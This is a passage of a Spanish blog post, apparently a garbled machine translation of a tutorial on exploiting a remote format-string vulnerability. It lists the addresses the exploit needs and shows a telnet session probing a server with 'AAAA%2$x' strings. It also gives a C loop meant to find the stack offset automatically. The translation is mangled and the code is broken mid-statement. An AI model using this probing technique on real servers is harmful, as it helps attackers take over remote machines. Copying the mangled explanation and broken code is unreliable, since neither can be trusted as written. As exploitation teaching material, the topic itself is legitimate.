He aqui la segunda parte
2.- parametros requeridos.
Los mismos parámetros que un error formato local se pide aquí:
* El desplazamiento para llegar al comienzo del buffer;
* La dirección de un código shell colocan en un lugar es la memoria del servidor;
* La dirección del buffer vulnerable;
* La dirección del remitente.
El exploit se proporciona como ejemplo en el anexo 2. Las partes siguientes de
este artículo se explica cómo ha sido concebido.
Éstos son algunos de las variables utilizadas en la hazaña:
* Sd: la toma entre el cliente (exploit) y el servidor vulnerable;
* Buf: un búfer de lectura / escritura de algunos datos;
* Read_at: una dirección en el servidor de la pila;
* FMT: cadena de formato se envía al servidor.
2.1- invitado del offset
Este parámetro siempre es necesario para la explotación de este tipo de
de error, y su determinación de obras de la misma forma que con un local
la explotación
telnet bosley 12345
Trying 192.168.1.2...
Connected to bosley.
Escape character is '^]'.
login: raynal
password: secret
AAAA%1$x
AAAAa
AAAA%2$x
AAAA41414141
Aquí, el desplazamiento es 2. Es muy fácil de adivinar automáticamente, y
eso es lo que la función get_offset()tiene como objetivo. Se envía la cadena de "AAAA%
#define MAXOFFSET 255
for (i = 1; i
snprintf(fmt, sizeof(fmt), "AAAA%%%d$x", i);
write(sock, fmt, strlen(fmt));
memset(buf, 0, sizeof(buf));
sleep(1);
read(sock, buf, sizeof(buf))
if (!strcmp(buf, "AAAA41414141"))
offset = i;
}
Saludos Mundo Libre.
No hay comentarios:
Publicar un comentario